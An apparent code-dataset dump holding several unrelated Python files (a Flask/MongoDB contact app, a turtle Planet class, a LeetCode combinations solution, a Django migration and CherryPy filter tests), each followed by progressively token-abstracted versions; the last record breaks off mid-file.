from flask import Flask, render_template, request, url_for, redirect,jsonify,json,request from pymongo import MongoClient #conexão bd app = Flask(__name__) conexao = MongoClient('localhost',27017) db = conexao['teste_db'] #inserindo contatos iniciais contato1 = {'nome': 'Lucas', 'email': '[email protected]', 'telefone': '11 99389-3244'} contato2 = {'nome': 'Lara', 'email': '[email protected]', 'telefone': '11 99333-3556'} catalogo = db.catalogo catalogo.insert_one(contato1) catalogo.insert_one(contato2) #página inicial @app.route('/') def showMachineList(): return render_template('list.html') @app.route("/insert_records", methods=['POST']) def insert_records(): json_data = request.json['info'] nome = json_data['nome'] email = json_data['email'] telefone = json_data['telefone'] db.catalogo.insert_one({ 'nome':nome,'email':email,'telefone':telefone }) return jsonify(status='OK',message='inserted successfully') @app.route('/get_records',methods=['POST']) def get_records(): contatos = db.catalogo.find() return render_template('list.html',contatos=contatos) if __name__ == "__main__": app.run(debug=True)
[ "from flask import Flask, render_template, request, url_for, redirect,jsonify,json,request\n\nfrom pymongo import MongoClient\n\n#conexão bd\napp = Flask(__name__)\nconexao = MongoClient('localhost',27017)\ndb = conexao['teste_db']\n\n#inserindo contatos iniciais\ncontato1 = {'nome': 'Lucas', 'email': '[email protected]', 'telefone': '11 99389-3244'}\ncontato2 = {'nome': 'Lara', 'email': '[email protected]', 'telefone': '11 99333-3556'}\ncatalogo = db.catalogo\ncatalogo.insert_one(contato1)\ncatalogo.insert_one(contato2)\n\n\n#página inicial\[email protected]('/')\ndef showMachineList():\n return render_template('list.html')\n\[email protected](\"/insert_records\", methods=['POST'])\ndef insert_records():\n \n json_data = request.json['info']\n nome = json_data['nome']\n email = json_data['email']\n telefone = json_data['telefone']\n\n db.catalogo.insert_one({\n 'nome':nome,'email':email,'telefone':telefone\n })\n \n return jsonify(status='OK',message='inserted successfully')\n\[email protected]('/get_records',methods=['POST'])\ndef get_records():\n \n contatos = db.catalogo.find() \n\n return render_template('list.html',contatos=contatos)\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)", "from flask import Flask, render_template, request, url_for, redirect, jsonify, json, request\nfrom pymongo import MongoClient\napp = Flask(__name__)\nconexao = MongoClient('localhost', 27017)\ndb = conexao['teste_db']\ncontato1 = {'nome': 'Lucas', 'email': '[email protected]', 'telefone':\n '11 99389-3244'}\ncontato2 = {'nome': 'Lara', 'email': '[email protected]', 'telefone':\n '11 99333-3556'}\ncatalogo = db.catalogo\ncatalogo.insert_one(contato1)\ncatalogo.insert_one(contato2)\n\n\[email protected]('/')\ndef showMachineList():\n return render_template('list.html')\n\n\[email protected]('/insert_records', methods=['POST'])\ndef insert_records():\n json_data = request.json['info']\n nome = json_data['nome']\n email = json_data['email']\n telefone = json_data['telefone']\n db.catalogo.insert_one({'nome': nome, 'email': email, 'telefone': telefone}\n )\n return jsonify(status='OK', message='inserted successfully')\n\n\[email protected]('/get_records', methods=['POST'])\ndef get_records():\n contatos = db.catalogo.find()\n return render_template('list.html', contatos=contatos)\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n", "<import token>\napp = Flask(__name__)\nconexao = MongoClient('localhost', 27017)\ndb = conexao['teste_db']\ncontato1 = {'nome': 'Lucas', 'email': '[email protected]', 'telefone':\n '11 99389-3244'}\ncontato2 = {'nome': 'Lara', 'email': '[email protected]', 'telefone':\n '11 99333-3556'}\ncatalogo = db.catalogo\ncatalogo.insert_one(contato1)\ncatalogo.insert_one(contato2)\n\n\[email protected]('/')\ndef showMachineList():\n return render_template('list.html')\n\n\[email protected]('/insert_records', methods=['POST'])\ndef insert_records():\n json_data = request.json['info']\n nome = json_data['nome']\n email = json_data['email']\n telefone = json_data['telefone']\n db.catalogo.insert_one({'nome': nome, 'email': email, 'telefone': telefone}\n )\n return jsonify(status='OK', message='inserted successfully')\n\n\[email protected]('/get_records', methods=['POST'])\ndef get_records():\n contatos = db.catalogo.find()\n return render_template('list.html', contatos=contatos)\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n", "<import token>\n<assignment token>\ncatalogo.insert_one(contato1)\ncatalogo.insert_one(contato2)\n\n\[email protected]('/')\ndef showMachineList():\n return render_template('list.html')\n\n\[email protected]('/insert_records', methods=['POST'])\ndef insert_records():\n json_data = request.json['info']\n nome = json_data['nome']\n email = json_data['email']\n telefone = json_data['telefone']\n db.catalogo.insert_one({'nome': nome, 'email': email, 'telefone': telefone}\n )\n return jsonify(status='OK', message='inserted successfully')\n\n\[email protected]('/get_records', methods=['POST'])\ndef get_records():\n contatos = db.catalogo.find()\n return render_template('list.html', contatos=contatos)\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n", "<import token>\n<assignment token>\n<code token>\n\n\[email protected]('/')\ndef showMachineList():\n return render_template('list.html')\n\n\[email protected]('/insert_records', methods=['POST'])\ndef insert_records():\n json_data = request.json['info']\n nome = json_data['nome']\n email = json_data['email']\n telefone = json_data['telefone']\n db.catalogo.insert_one({'nome': nome, 'email': email, 'telefone': telefone}\n )\n return jsonify(status='OK', message='inserted successfully')\n\n\[email protected]('/get_records', methods=['POST'])\ndef get_records():\n contatos = db.catalogo.find()\n return render_template('list.html', contatos=contatos)\n\n\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<function token>\n\n\[email protected]('/insert_records', methods=['POST'])\ndef insert_records():\n json_data = request.json['info']\n nome = json_data['nome']\n email = json_data['email']\n telefone = json_data['telefone']\n db.catalogo.insert_one({'nome': nome, 'email': email, 'telefone': telefone}\n )\n return jsonify(status='OK', message='inserted successfully')\n\n\[email protected]('/get_records', methods=['POST'])\ndef get_records():\n contatos = db.catalogo.find()\n return render_template('list.html', contatos=contatos)\n\n\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<function token>\n<function token>\n\n\[email protected]('/get_records', methods=['POST'])\ndef get_records():\n contatos = db.catalogo.find()\n return render_template('list.html', contatos=contatos)\n\n\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<function token>\n<function token>\n<function token>\n<code token>\n" ]
false
9,975
668b63d1f1bd035226e3e12bc6816abc897affc3
# Planet Class from turtle import * class Planet: def __init__(self, x, y, radius): self.radius = radius self.x = x self.y = y canvas = Screen() canvas.setup(800, 800) self.turtle = Turtle() def circumference(self): return 2*3.1415*self.radius def scaleSize(self, scale): self.radius = self.radius*scale def draw(self, colour): self.turtle.goto(self.x, self.y) self.turtle.color(colour) self.turtle.dot(self.radius) #====instance of the class=== planet1 = Planet(-200, -100, 200) planet1.draw('red') print('Circumference *check the maths!* is:', planet1.circumference()) planet1.scaleSize(0.5) planet1.draw('yellow') planet2 = Planet(300, 200, 100) planet2.draw('black')
[ "# Planet Class\r\nfrom turtle import *\r\nclass Planet:\r\n def __init__(self, x, y, radius):\r\n self.radius = radius\r\n self.x = x\r\n self.y = y\r\n canvas = Screen()\r\n canvas.setup(800, 800)\r\n self.turtle = Turtle()\r\n\r\n def circumference(self):\r\n return 2*3.1415*self.radius\r\n\r\n def scaleSize(self, scale):\r\n self.radius = self.radius*scale\r\n\r\n def draw(self, colour):\r\n self.turtle.goto(self.x, self.y)\r\n self.turtle.color(colour)\r\n self.turtle.dot(self.radius)\r\n\r\n\r\n\r\n#====instance of the class===\r\nplanet1 = Planet(-200, -100, 200)\r\nplanet1.draw('red')\r\nprint('Circumference *check the maths!* is:', planet1.circumference())\r\nplanet1.scaleSize(0.5)\r\nplanet1.draw('yellow')\r\nplanet2 = Planet(300, 200, 100)\r\nplanet2.draw('black')\r\n", "from turtle import *\n\n\nclass Planet:\n\n def __init__(self, x, y, radius):\n self.radius = radius\n self.x = x\n self.y = y\n canvas = Screen()\n canvas.setup(800, 800)\n self.turtle = Turtle()\n\n def circumference(self):\n return 2 * 3.1415 * self.radius\n\n def scaleSize(self, scale):\n self.radius = self.radius * scale\n\n def draw(self, colour):\n self.turtle.goto(self.x, self.y)\n self.turtle.color(colour)\n self.turtle.dot(self.radius)\n\n\nplanet1 = Planet(-200, -100, 200)\nplanet1.draw('red')\nprint('Circumference *check the maths!* is:', planet1.circumference())\nplanet1.scaleSize(0.5)\nplanet1.draw('yellow')\nplanet2 = Planet(300, 200, 100)\nplanet2.draw('black')\n", "<import token>\n\n\nclass Planet:\n\n def __init__(self, x, y, radius):\n self.radius = radius\n self.x = x\n self.y = y\n canvas = Screen()\n canvas.setup(800, 800)\n self.turtle = Turtle()\n\n def circumference(self):\n return 2 * 3.1415 * self.radius\n\n def scaleSize(self, scale):\n self.radius = self.radius * scale\n\n def draw(self, colour):\n self.turtle.goto(self.x, self.y)\n self.turtle.color(colour)\n self.turtle.dot(self.radius)\n\n\nplanet1 = Planet(-200, -100, 200)\nplanet1.draw('red')\nprint('Circumference *check the maths!* is:', planet1.circumference())\nplanet1.scaleSize(0.5)\nplanet1.draw('yellow')\nplanet2 = Planet(300, 200, 100)\nplanet2.draw('black')\n", "<import token>\n\n\nclass Planet:\n\n def __init__(self, x, y, radius):\n self.radius = radius\n self.x = x\n self.y = y\n canvas = Screen()\n canvas.setup(800, 800)\n self.turtle = Turtle()\n\n def circumference(self):\n return 2 * 3.1415 * self.radius\n\n def scaleSize(self, scale):\n self.radius = self.radius * scale\n\n def draw(self, colour):\n self.turtle.goto(self.x, self.y)\n self.turtle.color(colour)\n self.turtle.dot(self.radius)\n\n\n<assignment token>\nplanet1.draw('red')\nprint('Circumference *check the maths!* is:', planet1.circumference())\nplanet1.scaleSize(0.5)\nplanet1.draw('yellow')\n<assignment token>\nplanet2.draw('black')\n", "<import token>\n\n\nclass Planet:\n\n def __init__(self, x, y, radius):\n self.radius = radius\n self.x = x\n self.y = y\n canvas = Screen()\n canvas.setup(800, 800)\n self.turtle = Turtle()\n\n def circumference(self):\n return 2 * 3.1415 * self.radius\n\n def scaleSize(self, scale):\n self.radius = self.radius * scale\n\n def draw(self, colour):\n self.turtle.goto(self.x, self.y)\n self.turtle.color(colour)\n self.turtle.dot(self.radius)\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n\n\nclass Planet:\n\n def __init__(self, x, y, radius):\n self.radius = radius\n self.x = x\n self.y = y\n canvas = Screen()\n canvas.setup(800, 800)\n self.turtle = Turtle()\n <function token>\n\n def scaleSize(self, scale):\n self.radius = self.radius * scale\n\n def draw(self, colour):\n self.turtle.goto(self.x, self.y)\n self.turtle.color(colour)\n self.turtle.dot(self.radius)\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n\n\nclass Planet:\n\n def __init__(self, x, y, radius):\n self.radius = radius\n self.x = x\n self.y = y\n canvas = Screen()\n canvas.setup(800, 800)\n self.turtle = Turtle()\n <function token>\n\n def scaleSize(self, scale):\n self.radius = self.radius * scale\n <function token>\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n\n\nclass Planet:\n <function token>\n <function token>\n\n def scaleSize(self, scale):\n self.radius = self.radius * scale\n <function token>\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n\n\nclass Planet:\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<class token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n" ]
false
9,976
e4a2c605ef063eee46880515dfff05562916ab81
# Problem No.: 77 # Solver: Jinmin Goh # Date: 20191230 # URL: https://leetcode.com/problems/combinations/ import sys class Solution: def combine(self, n: int, k: int) -> List[List[int]]: if k == 0: return [[]] ans = [] for i in range(k, n + 1) : for temp_ans in self.combine(i - 1, k - 1): ans.append(temp_ans + [i]) return ans """ # correct for 26/27 and TLE class Solution: def combine(self, n: int, k: int) -> List[List[int]]: if k == 0: return [[]] if n < k: return [] nList = [i + 1 for i in range(n)] if n == k: return [nList] if n == k: return [[i + 1] for i in range(n)] self.ans = [] if n//2 > k: self.makeFunc(nList[:], k, []) else: self.delFunc(n-k, nList) return self.ans def makeFunc(self, nList: list, k: int, temp_ans: list) -> None: if k == 0: temp_ans.sort() if temp_ans not in self.ans: self.ans.append(temp_ans) return else: return else: for i in range(len(nList)): temp = nList[:] temp_temp_ans = temp_ans[:] temp_temp_ans.append(nList[i]) temp.pop(i) self.makeFunc(temp[:], k-1, temp_temp_ans[:]) def delFunc(self, k: int, temp_ans: list) -> None: if k == 0: temp_ans.sort() if temp_ans not in self.ans: self.ans.append(temp_ans) return else: return else: for i in range(len(temp_ans)): temp = temp_ans[:] temp.pop(i) self.delFunc(k-1, temp[:]) """
[ "# Problem No.: 77\n# Solver: Jinmin Goh\n# Date: 20191230\n# URL: https://leetcode.com/problems/combinations/\n\nimport sys\n\nclass Solution:\n def combine(self, n: int, k: int) -> List[List[int]]:\n if k == 0:\n return [[]]\n ans = []\n for i in range(k, n + 1) :\n for temp_ans in self.combine(i - 1, k - 1):\n ans.append(temp_ans + [i])\n return ans\n\n\"\"\"\n# correct for 26/27 and TLE\nclass Solution:\n def combine(self, n: int, k: int) -> List[List[int]]:\n if k == 0:\n return [[]]\n if n < k:\n return []\n nList = [i + 1 for i in range(n)]\n if n == k:\n return [nList]\n if n == k:\n return [[i + 1] for i in range(n)]\n self.ans = []\n if n//2 > k:\n self.makeFunc(nList[:], k, [])\n else:\n self.delFunc(n-k, nList)\n return self.ans\n \n def makeFunc(self, nList: list, k: int, temp_ans: list) -> None:\n if k == 0:\n temp_ans.sort()\n if temp_ans not in self.ans:\n self.ans.append(temp_ans)\n return\n else:\n return\n else:\n for i in range(len(nList)):\n temp = nList[:]\n temp_temp_ans = temp_ans[:]\n temp_temp_ans.append(nList[i])\n temp.pop(i)\n self.makeFunc(temp[:], k-1, temp_temp_ans[:])\n def delFunc(self, k: int, temp_ans: list) -> None:\n if k == 0:\n temp_ans.sort()\n if temp_ans not in self.ans:\n self.ans.append(temp_ans)\n return\n else:\n return\n else:\n for i in range(len(temp_ans)):\n temp = temp_ans[:]\n temp.pop(i)\n self.delFunc(k-1, temp[:])\n \"\"\"", "import sys\n\n\nclass Solution:\n\n def combine(self, n: int, k: int) ->List[List[int]]:\n if k == 0:\n return [[]]\n ans = []\n for i in range(k, n + 1):\n for temp_ans in self.combine(i - 1, k - 1):\n ans.append(temp_ans + [i])\n return ans\n\n\n<docstring token>\n", "<import token>\n\n\nclass Solution:\n\n def combine(self, n: int, k: int) ->List[List[int]]:\n if k == 0:\n return [[]]\n ans = []\n for i in range(k, n + 1):\n for temp_ans in self.combine(i - 1, k - 1):\n ans.append(temp_ans + [i])\n return ans\n\n\n<docstring token>\n", "<import token>\n\n\nclass Solution:\n <function token>\n\n\n<docstring token>\n", "<import token>\n<class token>\n<docstring token>\n" ]
false
9,977
d0a053faccecddc84a9556aec3dff691b171df96
# Generated by Django 3.2.7 on 2021-10-01 06:43 from django.db import migrations import django_resized.forms import event.models.event import event.models.event_agenda class Migration(migrations.Migration): dependencies = [ ('event', '0009_auto_20211001_0406'), ] operations = [ migrations.AlterField( model_name='event', name='map', field=django_resized.forms.ResizedImageField(blank=True, crop=None, force_format='JPEG', help_text='Mapa del evento', keep_meta=True, null=True, quality=90, size=[1920, 1080], upload_to=event.models.event.event_pictures, verbose_name='Mapa'), ), migrations.AlterField( model_name='eventagenda', name='map', field=django_resized.forms.ResizedImageField(blank=True, crop=None, force_format='JPEG', help_text='Mapa de la exposicion', keep_meta=True, null=True, quality=90, size=[1920, 1080], upload_to=event.models.event_agenda.event_pictures, verbose_name='Mapa'), ), ]
[ "# Generated by Django 3.2.7 on 2021-10-01 06:43\n\nfrom django.db import migrations\nimport django_resized.forms\nimport event.models.event\nimport event.models.event_agenda\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('event', '0009_auto_20211001_0406'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='event',\n name='map',\n field=django_resized.forms.ResizedImageField(blank=True, crop=None, force_format='JPEG', help_text='Mapa del evento', keep_meta=True, null=True, quality=90, size=[1920, 1080], upload_to=event.models.event.event_pictures, verbose_name='Mapa'),\n ),\n migrations.AlterField(\n model_name='eventagenda',\n name='map',\n field=django_resized.forms.ResizedImageField(blank=True, crop=None, force_format='JPEG', help_text='Mapa de la exposicion', keep_meta=True, null=True, quality=90, size=[1920, 1080], upload_to=event.models.event_agenda.event_pictures, verbose_name='Mapa'),\n ),\n ]\n", "from django.db import migrations\nimport django_resized.forms\nimport event.models.event\nimport event.models.event_agenda\n\n\nclass Migration(migrations.Migration):\n dependencies = [('event', '0009_auto_20211001_0406')]\n operations = [migrations.AlterField(model_name='event', name='map',\n field=django_resized.forms.ResizedImageField(blank=True, crop=None,\n force_format='JPEG', help_text='Mapa del evento', keep_meta=True,\n null=True, quality=90, size=[1920, 1080], upload_to=event.models.\n event.event_pictures, verbose_name='Mapa')), migrations.AlterField(\n model_name='eventagenda', name='map', field=django_resized.forms.\n ResizedImageField(blank=True, crop=None, force_format='JPEG',\n help_text='Mapa de la exposicion', keep_meta=True, null=True,\n quality=90, size=[1920, 1080], upload_to=event.models.event_agenda.\n event_pictures, verbose_name='Mapa'))]\n", "<import token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('event', '0009_auto_20211001_0406')]\n operations = [migrations.AlterField(model_name='event', name='map',\n field=django_resized.forms.ResizedImageField(blank=True, crop=None,\n force_format='JPEG', help_text='Mapa del evento', keep_meta=True,\n null=True, quality=90, size=[1920, 1080], upload_to=event.models.\n event.event_pictures, verbose_name='Mapa')), migrations.AlterField(\n model_name='eventagenda', name='map', field=django_resized.forms.\n ResizedImageField(blank=True, crop=None, force_format='JPEG',\n help_text='Mapa de la exposicion', keep_meta=True, null=True,\n quality=90, size=[1920, 1080], upload_to=event.models.event_agenda.\n event_pictures, verbose_name='Mapa'))]\n", "<import token>\n\n\nclass Migration(migrations.Migration):\n <assignment token>\n <assignment token>\n", "<import token>\n<class token>\n" ]
false
9,978
8a412231c13df1b364b6e2a27549730d06048186
"""Test the various means of instantiating and invoking filters.""" import types import test test.prefer_parent_path() import cherrypy from cherrypy import filters from cherrypy.filters.basefilter import BaseFilter class AccessFilter(BaseFilter): def before_request_body(self): if not cherrypy.config.get("access_filter.on", False): return if not getattr(cherrypy.request, "login", None): raise cherrypy.HTTPError(401) def setup_server(): class Numerify(BaseFilter): def on_start_resource(self): m = cherrypy.config.get("numerify_filter.map", {}) cherrypy.request.numerify_map = m.items() def before_finalize(self): if not cherrypy.config.get("numerify_filter.on", False): return def number_it(body): for chunk in body: for k, v in cherrypy.request.numerify_map: chunk = chunk.replace(k, v) yield chunk cherrypy.response.body = number_it(cherrypy.response.body) # It's not mandatory to inherit from BaseFilter. class NadsatFilter: def __init__(self): self.counter = 0 self.ended = {} def before_main(self): cherrypy.request.counter = self.counter = self.counter + 1 self.ended[cherrypy.request.counter] = False def before_finalize(self): def nadsat_it_up(body): for chunk in body: chunk = chunk.replace("good", "horrorshow") chunk = chunk.replace("piece", "lomtick") yield chunk cherrypy.response.body = nadsat_it_up(cherrypy.response.body) def on_end_request(self): # This runs after the request has been completely written out. cherrypy.response.body = "razdrez" self.ended[cherrypy.request.counter] = True class Root: def index(self): return "Howdy earth!" index.exposed = True cherrypy.root = Root() class TestType(type): """Metaclass which automatically exposes all functions in each subclass, and adds an instance of the subclass as an attribute of cherrypy.root. """ def __init__(cls, name, bases, dct): type.__init__(name, bases, dct) for value in dct.itervalues(): if isinstance(value, types.FunctionType): value.exposed = True setattr(cherrypy.root, name.lower(), cls()) class Test(object): __metaclass__ = TestType class CPFilterList(Test): # METHOD ONE: # Use _cp_filters (old name: _cpFilterList) _cp_filters = [NadsatFilter()] def index(self): return "A good piece of cherry pie" def ended(self, id): return repr(self._cp_filters[0].ended[int(id)]) def err(self): raise ValueError() def errinstream(self): raise ValueError() yield "confidential" def restricted(self): return "Welcome!" def err_in_onstart(self): return "success!" cherrypy.config.update({ 'global': { # METHOD TWO: # Declare a classname in server.input_filters. 'server.input_filters': ["cherrypy.test.test_custom_filters.AccessFilter"], 'server.log_to_screen': False, 'server.environment': 'production', 'server.show_tracebacks': True, }, '/cpfilterlist': { 'numerify_filter.on': True, 'numerify_filter.map': {"pie": "3.14159"} }, '/cpfilterlist/restricted': { 'access_filter.on': True, 'server.show_tracebacks': False, }, '/cpfilterlist/errinstream': { 'stream_response': True, }, '/cpfilterlist/err_in_onstart': { # Because this isn't a dict, on_start_resource will error. 'numerify_filter.map': "pie->3.14159" }, }) # METHOD THREE: # Insert a class directly into the filters.output_filters chain. # You can also insert a string, but we're effectively testing # using-a-string via the config file. filters.input_filters.insert(0, Numerify) filters.output_filters.insert(0, Numerify) # We have to call filters.init() here (if we want methods #2 and #3 # to work), because the test suite may already have run server.start() # (which is where filters.init() is usually called). filters.init() # Client-side code # import helper class FilterTests(helper.CPWebCase): def testCPFilterList(self): self.getPage("/cpfilterlist/") # If body is "razdrez", then on_end_request is being called too early. self.assertBody("A horrorshow lomtick of cherry 3.14159") # If this fails, then on_end_request isn't being called at all. self.getPage("/cpfilterlist/ended/1") self.assertBody("True") valerr = '\n raise ValueError()\nValueError' self.getPage("/cpfilterlist/err") # If body is "razdrez", then on_end_request is being called too early. self.assertErrorPage(500, pattern=valerr) # If this fails, then on_end_request isn't being called at all. self.getPage("/cpfilterlist/ended/3") self.assertBody("True") # If body is "razdrez", then on_end_request is being called too early. self.getPage("/cpfilterlist/errinstream") # Because this error is raised after the response body has # started, the status should not change to an error status. self.assertStatus("200 OK") self.assertBody("Unrecoverable error in the server.") # If this fails, then on_end_request isn't being called at all. self.getPage("/cpfilterlist/ended/5") self.assertBody("True") # Test the config method. self.getPage("/cpfilterlist/restricted") self.assertErrorPage(401) def testGuaranteedFilters(self): # The on_start_resource and on_end_request filter methods are all # guaranteed to run, even if there are failures in other on_start # or on_end methods. This is NOT true of the other filter methods. # Here, we have set up a failure in NumerifyFilter.on_start_resource, # but because that failure is logged and passed over, the error # page we obtain in the user agent should be from before_finalize. self.getPage("/cpfilterlist/err_in_onstart") self.assertErrorPage(500) self.assertInBody("AttributeError: 'Request' object has no " "attribute 'numerify_map'") if __name__ == '__main__': setup_server() helper.testmain()
[ "\"\"\"Test the various means of instantiating and invoking filters.\"\"\"\n\nimport types\nimport test\ntest.prefer_parent_path()\n\nimport cherrypy\nfrom cherrypy import filters\nfrom cherrypy.filters.basefilter import BaseFilter\n\n\nclass AccessFilter(BaseFilter):\n \n def before_request_body(self):\n if not cherrypy.config.get(\"access_filter.on\", False):\n return\n \n if not getattr(cherrypy.request, \"login\", None):\n raise cherrypy.HTTPError(401)\n\n\ndef setup_server():\n\n class Numerify(BaseFilter):\n \n def on_start_resource(self):\n m = cherrypy.config.get(\"numerify_filter.map\", {})\n cherrypy.request.numerify_map = m.items()\n \n def before_finalize(self):\n if not cherrypy.config.get(\"numerify_filter.on\", False):\n return\n \n def number_it(body):\n for chunk in body:\n for k, v in cherrypy.request.numerify_map:\n chunk = chunk.replace(k, v)\n yield chunk\n cherrypy.response.body = number_it(cherrypy.response.body)\n \n \n # It's not mandatory to inherit from BaseFilter.\n class NadsatFilter:\n \n def __init__(self):\n self.counter = 0\n self.ended = {}\n \n def before_main(self):\n cherrypy.request.counter = self.counter = self.counter + 1\n self.ended[cherrypy.request.counter] = False\n \n def before_finalize(self):\n def nadsat_it_up(body):\n for chunk in body:\n chunk = chunk.replace(\"good\", \"horrorshow\")\n chunk = chunk.replace(\"piece\", \"lomtick\")\n yield chunk\n cherrypy.response.body = nadsat_it_up(cherrypy.response.body)\n \n def on_end_request(self):\n # This runs after the request has been completely written out.\n cherrypy.response.body = \"razdrez\"\n self.ended[cherrypy.request.counter] = True\n\n\n\n class Root:\n def index(self):\n return \"Howdy earth!\"\n index.exposed = True\n\n cherrypy.root = Root()\n\n\n class TestType(type):\n \"\"\"Metaclass which automatically exposes all functions in each subclass,\n and adds an instance of the subclass as an attribute of cherrypy.root.\n \"\"\"\n def __init__(cls, name, bases, dct):\n type.__init__(name, bases, dct)\n for value in dct.itervalues():\n if isinstance(value, types.FunctionType):\n value.exposed = True\n setattr(cherrypy.root, name.lower(), cls())\n class Test(object):\n __metaclass__ = TestType\n\n\n class CPFilterList(Test):\n \n # METHOD ONE:\n # Use _cp_filters (old name: _cpFilterList)\n _cp_filters = [NadsatFilter()]\n \n def index(self):\n return \"A good piece of cherry pie\"\n \n def ended(self, id):\n return repr(self._cp_filters[0].ended[int(id)])\n \n def err(self):\n raise ValueError()\n \n def errinstream(self):\n raise ValueError()\n yield \"confidential\"\n \n def restricted(self):\n return \"Welcome!\"\n \n def err_in_onstart(self):\n return \"success!\"\n\n\n cherrypy.config.update({\n 'global': {\n # METHOD TWO:\n # Declare a classname in server.input_filters.\n 'server.input_filters': [\"cherrypy.test.test_custom_filters.AccessFilter\"],\n 'server.log_to_screen': False,\n 'server.environment': 'production',\n 'server.show_tracebacks': True,\n },\n '/cpfilterlist': {\n 'numerify_filter.on': True,\n 'numerify_filter.map': {\"pie\": \"3.14159\"}\n },\n '/cpfilterlist/restricted': {\n 'access_filter.on': True,\n 'server.show_tracebacks': False,\n },\n '/cpfilterlist/errinstream': {\n 'stream_response': True,\n },\n '/cpfilterlist/err_in_onstart': {\n # Because this isn't a dict, on_start_resource will error.\n 'numerify_filter.map': \"pie->3.14159\"\n },\n })\n\n # METHOD THREE:\n # Insert a class directly into the filters.output_filters chain.\n # You can also insert a string, but we're effectively testing\n # using-a-string via the config file.\n filters.input_filters.insert(0, Numerify)\n filters.output_filters.insert(0, Numerify)\n\n # We have to call filters.init() here (if we want methods #2 and #3\n # to work), because the test suite may already have run server.start()\n # (which is where filters.init() is usually called).\n filters.init()\n\n\n# Client-side code #\n\nimport helper\n\n\nclass FilterTests(helper.CPWebCase):\n \n def testCPFilterList(self):\n self.getPage(\"/cpfilterlist/\")\n # If body is \"razdrez\", then on_end_request is being called too early.\n self.assertBody(\"A horrorshow lomtick of cherry 3.14159\")\n # If this fails, then on_end_request isn't being called at all.\n self.getPage(\"/cpfilterlist/ended/1\")\n self.assertBody(\"True\")\n \n valerr = '\\n raise ValueError()\\nValueError'\n self.getPage(\"/cpfilterlist/err\")\n # If body is \"razdrez\", then on_end_request is being called too early.\n self.assertErrorPage(500, pattern=valerr)\n # If this fails, then on_end_request isn't being called at all.\n self.getPage(\"/cpfilterlist/ended/3\")\n self.assertBody(\"True\")\n \n # If body is \"razdrez\", then on_end_request is being called too early.\n self.getPage(\"/cpfilterlist/errinstream\")\n # Because this error is raised after the response body has\n # started, the status should not change to an error status.\n self.assertStatus(\"200 OK\")\n self.assertBody(\"Unrecoverable error in the server.\")\n # If this fails, then on_end_request isn't being called at all.\n self.getPage(\"/cpfilterlist/ended/5\")\n self.assertBody(\"True\")\n \n # Test the config method.\n self.getPage(\"/cpfilterlist/restricted\")\n self.assertErrorPage(401)\n \n def testGuaranteedFilters(self):\n # The on_start_resource and on_end_request filter methods are all\n # guaranteed to run, even if there are failures in other on_start\n # or on_end methods. This is NOT true of the other filter methods.\n # Here, we have set up a failure in NumerifyFilter.on_start_resource,\n # but because that failure is logged and passed over, the error\n # page we obtain in the user agent should be from before_finalize.\n self.getPage(\"/cpfilterlist/err_in_onstart\")\n self.assertErrorPage(500)\n self.assertInBody(\"AttributeError: 'Request' object has no \"\n \"attribute 'numerify_map'\")\n\n\nif __name__ == '__main__':\n setup_server()\n helper.testmain()\n\n", "<docstring token>\nimport types\nimport test\ntest.prefer_parent_path()\nimport cherrypy\nfrom cherrypy import filters\nfrom cherrypy.filters.basefilter import BaseFilter\n\n\nclass AccessFilter(BaseFilter):\n\n def before_request_body(self):\n if not cherrypy.config.get('access_filter.on', False):\n return\n if not getattr(cherrypy.request, 'login', None):\n raise cherrypy.HTTPError(401)\n\n\ndef setup_server():\n\n\n class Numerify(BaseFilter):\n\n def on_start_resource(self):\n m = cherrypy.config.get('numerify_filter.map', {})\n cherrypy.request.numerify_map = m.items()\n\n def before_finalize(self):\n if not cherrypy.config.get('numerify_filter.on', False):\n return\n\n def number_it(body):\n for chunk in body:\n for k, v in cherrypy.request.numerify_map:\n chunk = chunk.replace(k, v)\n yield chunk\n cherrypy.response.body = number_it(cherrypy.response.body)\n\n\n class NadsatFilter:\n\n def __init__(self):\n self.counter = 0\n self.ended = {}\n\n def before_main(self):\n cherrypy.request.counter = self.counter = self.counter + 1\n self.ended[cherrypy.request.counter] = False\n\n def before_finalize(self):\n\n def nadsat_it_up(body):\n for chunk in body:\n chunk = chunk.replace('good', 'horrorshow')\n chunk = chunk.replace('piece', 'lomtick')\n yield chunk\n cherrypy.response.body = nadsat_it_up(cherrypy.response.body)\n\n def on_end_request(self):\n cherrypy.response.body = 'razdrez'\n self.ended[cherrypy.request.counter] = True\n\n\n class Root:\n\n def index(self):\n return 'Howdy earth!'\n index.exposed = True\n cherrypy.root = Root()\n\n\n class TestType(type):\n \"\"\"Metaclass which automatically exposes all functions in each subclass,\n and adds an instance of the subclass as an attribute of cherrypy.root.\n \"\"\"\n\n def __init__(cls, name, bases, dct):\n type.__init__(name, bases, dct)\n for value in dct.itervalues():\n if isinstance(value, types.FunctionType):\n value.exposed = True\n setattr(cherrypy.root, name.lower(), cls())\n\n\n class Test(object):\n __metaclass__ = TestType\n\n\n class CPFilterList(Test):\n _cp_filters = [NadsatFilter()]\n\n def index(self):\n return 'A good piece of cherry pie'\n\n def ended(self, id):\n return repr(self._cp_filters[0].ended[int(id)])\n\n def err(self):\n raise ValueError()\n\n def errinstream(self):\n raise ValueError()\n yield 'confidential'\n\n def restricted(self):\n return 'Welcome!'\n\n def err_in_onstart(self):\n return 'success!'\n cherrypy.config.update({'global': {'server.input_filters': [\n 'cherrypy.test.test_custom_filters.AccessFilter'],\n 'server.log_to_screen': False, 'server.environment': 'production',\n 'server.show_tracebacks': True}, '/cpfilterlist': {\n 'numerify_filter.on': True, 'numerify_filter.map': 